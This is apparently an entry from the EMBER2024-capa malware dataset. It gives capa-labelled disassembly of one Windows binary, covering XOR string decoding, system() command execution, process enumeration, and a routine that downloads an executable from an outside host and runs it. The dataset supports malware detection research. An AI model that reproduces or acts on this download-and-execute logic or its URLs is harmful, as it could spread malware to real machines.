joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003463
Capabilities:
Execute command
Terminate process

Disassembly:
jmp 0x14003e9b0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edi, edi
mov dword [rbp - 0x69], 0xdfacdddc
mov eax, edi
mov dword [rbp - 0x65], 0xe0c1ecca
mov dword [rbp - 0x61], 0x100fbcd
nop
lea ecx, [rax - 0x80]
xor byte [rbp + rax - 0x69], cl
inc rax
cmp rax, 0xa
jb 0x14003e9f0
lea rax, [rbp - 0x69]
mov dword [rbp - 0x69], 0xdfacdddc
mov qword [rbp + 0x37], rax
mov rcx, rdi
mov dword [rbp - 0x65], 0xf2c2f6cf
mov dword [rbp - 0x61], 0xf9eff9e5
mov word [rbp - 0x5d], 0x100
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0xc
jb 0x14003ea30
lea rax, [rbp - 0x69]
mov dword [rbp - 0x69], 0xdfacdddc
mov qword [rbp + 0x3f], rax
mov rcx, rdi
mov dword [rbp - 0x65], 0xc7c1cd
mov byte [rbp - 0x61], 1
nop dword [rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 7
jb 0x14003ea60
lea rax, [rbp - 0x69]
mov rbx, rdi
mov qword [rbp + 0x47], rax
nop dword [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x37]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14003eadc
inc rbx
cmp rbx, 3
jl 0x14003ea80
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140002077
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
movdqa xmm0, xmmword [0x1401181c0]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x140118180]
movdqa xmmword [rbp - 0x59], xmm0
movdqa xmm0, xmmword [0x140118200]
movdqa xmmword [rbp - 0x49], xmm1
movdqa xmm1, xmmword [0x1401183e0]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x140117e80]
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x140118580]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 9], xmm1
mov dword [rbp + 7], 0x8f978fde
mov word [rbp + 0xb], 0x100
call fcn.1400025b8
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401181c0]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x140118180]
movdqa xmmword [rbp - 0x59], xmm0
movdqa xmm0, xmmword [0x140118200]
movdqa xmmword [rbp - 0x49], xmm1
movdqa xmm1, xmmword [0x140118400]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x140118080]
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x140118560]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm0, xmmword [0x1401181a0]
movdqa xmmword [rbp - 9], xmm1
movdqa xmm1, xmmword [0x1401181e0]
movdqa xmmword [rbp + 7], xmm0
movdqa xmmword [rbp + 0x17], xmm1
mov dword [rbp + 0x27], 0x6d3c2130
mov dword [rbp + 0x2b], 0x1006971
call fcn.140001424
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14001cac0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cac0
push rbx
sub rsp, 0x20
cmp byte [rdx + 4], 0
mov rbx, rcx
je 0x14001cae6
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 3
jb 0x14001cad1
mov byte [rdx + 4], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001cb10
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cb10
push rbx
sub rsp, 0x20
cmp byte [rdx + 5], 0
mov rbx, rcx
je 0x14001cb36
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 4
jb 0x14001cb21
mov byte [rdx + 5], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001cb60
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cb60
push rbx
sub rsp, 0x20
cmp byte [rdx + 7], 0
mov rbx, rcx
je 0x14001cb86
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 6
jb 0x14001cb71
mov byte [rdx + 7], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001cbb0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cbb0
push rbx
sub rsp, 0x20
cmp byte [rdx + 9], 0
mov rbx, rcx
je 0x14001cbd6
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 8
jb 0x14001cbc1
mov byte [rdx + 9], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001cc00
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cc00
push rbx
sub rsp, 0x20
cmp byte [rdx + 0xa], 0
mov rbx, rcx
je 0x14001cc26
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 9
jb 0x14001cc11
mov byte [rdx + 0xa], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001cc50
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cc50
push rbx
sub rsp, 0x20
cmp byte [rdx + 0x18], 0
mov rbx, rcx
je 0x14001cc76
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 0x17
jb 0x14001cc61
mov byte [rdx + 0x18], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001cca0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14001cca0
push rbx
sub rsp, 0x20
cmp byte [rdx + 0xb], 0
mov rbx, rcx
je 0x14001ccc6
xor eax, eax
lea r8d, [rax - 0x80]
xor byte [rax + rdx], r8b
inc rax
cmp rax, 0xa
jb 0x14001ccb1
mov byte [rdx + 0xb], 0
call fcn.140001384
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x140020fc0
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140020fc0
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x170
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rdi, rcx
mov dword [rsp + 0x30], 0x130
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140021011
mov rcx, rdi
call fcn.140001681
xor eax, eax
jmp 0x14002110d
mov qword [rsp + 0x188], rbx
lea rdx, [rsp + 0x30]
mov rcx, rbp
mov qword [rsp + 0x190], rsi
call sub.KERNEL32.dll_Process32First
lea rax, [rsp + 0x5c]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140021040
cmp qword [rdi + 0x18], 0xf
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
jbe 0x14002105a
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x5c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002107d
cmp rsi, rbx
jb 0x14002107d
jbe 0x14002112e
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400210ea
nop
lea rax, [rsp + 0x5c]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400210a0
cmp qword [rdi + 0x18], 0xf
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
jbe 0x1400210ba
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x5c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400210d9
cmp rsi, rbx
jb 0x1400210d9
jbe 0x14002112e
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140021090
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140001681
xor eax, eax
mov rbx, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140002077
mov rbp, qword [rsp + 0x198]
add rsp, 0x170
pop rdi
ret
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x38]
mov rcx, rdi
call fcn.140001681
mov eax, ebx
jmp 0x1400210fd
Function at 0x14002ac00
Capabilities:
Write file on windows

Disassembly:
jmp 0x14002ac00
push rbx
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x14002ac28
add rsp, 0x20
pop r14
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov rbp, rax
test rbx, rbx
jle 0x14002ac9c
test rax, rax
jle 0x14002ac7c
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, rbp
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
add r14, rbp
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
test rbx, rbx
jle 0x14002ac9c
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14002ac9c
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x40]
sub rsi, rbx
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rbx
ret
Function at 0x14002c930
Capabilities:
Encode data using xor
Execute command

Disassembly:
jmp 0x14002c930
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x1401184a0]
xor ebx, ebx
movdqa xmm1, xmmword [0x140118060]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002c980
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118520]
mov rcx, rbx
movdqa xmm1, xmmword [0x140118020]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002c9d0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118520]
mov rcx, rbx
movdqa xmm1, xmmword [0x140118000]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002ca20
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118520]
mov rcx, rbx
movdqa xmm1, xmmword [0x140118040]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002ca70
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118540]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xfdacb1fb
mov dword [rbp - 0x1c], 0xa5b6f9e1
mov dword [rbp - 0x18], 0xabbfa6
mov byte [rbp - 0x14], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx - 0x80]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1b
jb 0x14002cac0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x14], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002077
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x14002e330
Capabilities:
Terminate process

Disassembly:
jmp 0x14002e330
sub rsp, 0x68
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x58], rax
call fcn.140001b4a
call fcn.140001893
call fcn.1400026d0
call fcn.140003463
call fcn.140002324
xor ecx, ecx
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call sub.api_ms_win_crt_time_l1_1_0.dll__localtime64
call fcn.140001348
lea rcx, [rsp + 0x28]
call fcn.1400024d7
nop
call fcn.14000203b
lea rdx, str.e_1_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, [0x140114ca4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.___________________________________________________________________n_t_t_t_t___________________________________________n_t_t_t_t__________________________________n_t_t_t_t_______________________________n_t_t_t_t______________________________n_t_t_t_t___.__________________________n_t_t_t_t_______________________________n__n___n___n___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
call fcn.140002662
call fcn.1400025c2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001c12
lea rdx, str.e_1_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, [0x140114ca4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.___________________________________________________________________n_t_t_t_t___________________________________________n_t_t_t_t__________________________________n_t_t_t_t_______________________________n_t_t_t_t______________________________n_t_t_t_t___.__________________________n_t_t_t_t_______________________________n__n___n___n___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str._t_t_t_t_t_tSuccessfully_Injected__n_n
lea rcx, [rsp + 0x38]
call fcn.140001f96
nop
mov edx, 0x50
lea rcx, [rsp + 0x38]
call fcn.1400031b1
nop
lea rcx, [rsp + 0x38]
call fcn.140001681
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14002fdc0
Capabilities:
Change the wallpaper
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x14002fdc0
push rbx
sub rsp, 0xa0
lea rdx, str.C:WindowsIMEwallpaper.gif
lea rcx, str.https:__k1team.pl_IMG_3313.gif
call fcn.140002da6
xor edx, edx
lea r8, str.C:WindowsIMEwallpaper.gif
mov r9d, 3
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x14002fe1b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_set_wallpaper
call fcn.14000218f
lea rdx, [0x1400020b3]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rbx, str.C:WindowsPLAkMapper.exe
mov qword [rsp + 0x20], 0
mov r8, rbx
lea rdx, str.https:__k1team.pl_kMapper.exe
xor r9d, r9d
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
js 0x14002fe51
lea rcx, str.WTF_ARE_YOU_DOING_RN_____n
call fcn.14000114a
jmp 0x14002fe5f
mov edx, eax
lea rcx, str.HUH___n
call fcn.14000114a
xorps xmm0, xmm0
mov dword [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x60], 1
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x94], rax
movups xmmword [rsp + 0x64], xmm0
mov dword [rsp + 0x9c], eax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14002fecd
lea rcx, str.SORRY_BRO__BUT_WHY_ARE_YOU_DOING_IT_._n
call fcn.14000114a
add rsp, 0xa0
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_execute_the_program._Error_code:__d_n
call fcn.14000114a
add rsp, 0xa0
pop rbx
ret

Function at 0x140033f90
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140033f90
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0xa], al
je 0x140033fb3
lea edx, [rax - 0x80]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x140033fa0
mov byte [rcx + 0xa], 0
lea r8, [rcx + 9]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140001f73
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140033fe0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140033fe0
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0xd], al
je 0x140034003
lea edx, [rax - 0x80]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x140033ff0
mov byte [rcx + 0xd], 0
lea r8, [rcx + 0xc]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140001f73
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140035a00
Capabilities:
Check if file exists
Get file size

Disassembly:
jmp 0x140035a00
push rbp
sub rsp, 0x90
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r8, qword [rdx + 0x10]
movabs rbp, 0x7fffffffffffffff
mov r10, qword [rcx + 0x10]
mov rax, rbp
sub rax, r8
cmp rax, r10
jb 0x140035c44
cmp qword [rdx + 0x18], 0xf
mov r9, rdx
jbe 0x140035a46
mov r9, qword [rdx]
cmp qword [rcx + 0x18], 0xf
jbe 0x140035a50
mov rcx, qword [rcx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], r8
mov r8, rdx
movzx edx, byte [rsp + 0x48]
mov qword [rsp + 0xb0], rbx
call fcn.1400020a9
cmp qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x140035a9c
xor bl, bl
jmp 0x140035be3
cmp qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
cmova rcx, qword [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x88], rsi
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x80], rdi
lea r8d, [r9 + 3]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, 0xffffffffffffffff
mov rdi, rax
cmp rax, rbx
jne 0x140035afc
mov rsi, rbx
jmp 0x140035b27
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, rdi
test eax, eax
jne 0x140035b1c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rbx
jmp 0x140035b27
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140002590
mov rax, qword [rsp + 0x40]
movabs rcx, 0x7fffffffe2329aff
cmp rax, rcx
jge 0x140035b52
add rax, 0x1dcd6500
mov qword [rsp + 0x40], rax
jmp 0x140035b57
mov qword [rsp + 0x40], rbp
lea rcx, [rsp + 0x40]
call fcn.140002081
cmp qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
cmova rcx, qword [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, rbx
je 0x140035bcd
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, rdi
test eax, eax
jne 0x140035bc2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140035bcd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x80]
cmp rsi, rbx
mov rsi, qword [rsp + 0x88]
sete bl
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140035c23
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035c1e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035c1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b85
movzx eax, bl
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140002077
add rsp, 0x90
pop rbp
ret
call fcn.14000213a
int3
Function at 0x1400367d0
Capabilities:
Read file on windows

Disassembly:
jmp 0x1400367d0
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rsi, r8
mov r14, rdx
mov rbp, rcx
test r8, r8
jg 0x140036801
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14003681f
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x30], rbx
mov rbx, rsi
mov qword [rsp + 0x38], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
test rax, rax
je 0x140036869
cmp rax, rsi
mov rdi, rsi
mov rcx, rbp
cmovb rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rdi
mov rcx, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, edi
mov rcx, rbp
add r14, rdi
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rbp + 0x80], 0
mov rdi, rbx
je 0x1400368e1
mov rcx, rbp
call fcn.140003193
cmp rbx, 0xfff
jbe 0x1400368c1
nop word [rax + rax]
mov r9, qword [rbp + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x140036902
cmp rbx, rax
ja 0x140036890
test rdi, rdi
je 0x1400368e1
mov r9, qword [rbp + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rsi, rdi
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
sub rsi, rbx
jmp 0x1400368e4
Function at 0x140036c60
Capabilities:
Write file on windows

Disassembly:
jmp 0x140036c60
push rbx
sub rsp, 0x60
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140036d33
cmp byte [rcx + 0x71], 0
je 0x140036d33
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x140036d2f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140036cf4
sub eax, 1
je 0x140036cf8
cmp eax, 2
jne 0x140036d2f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002077
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140036d26
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140036d2f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140036cdc
xor al, al
jmp 0x140036cdc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002077
add rsp, 0x60
pop rbx
ret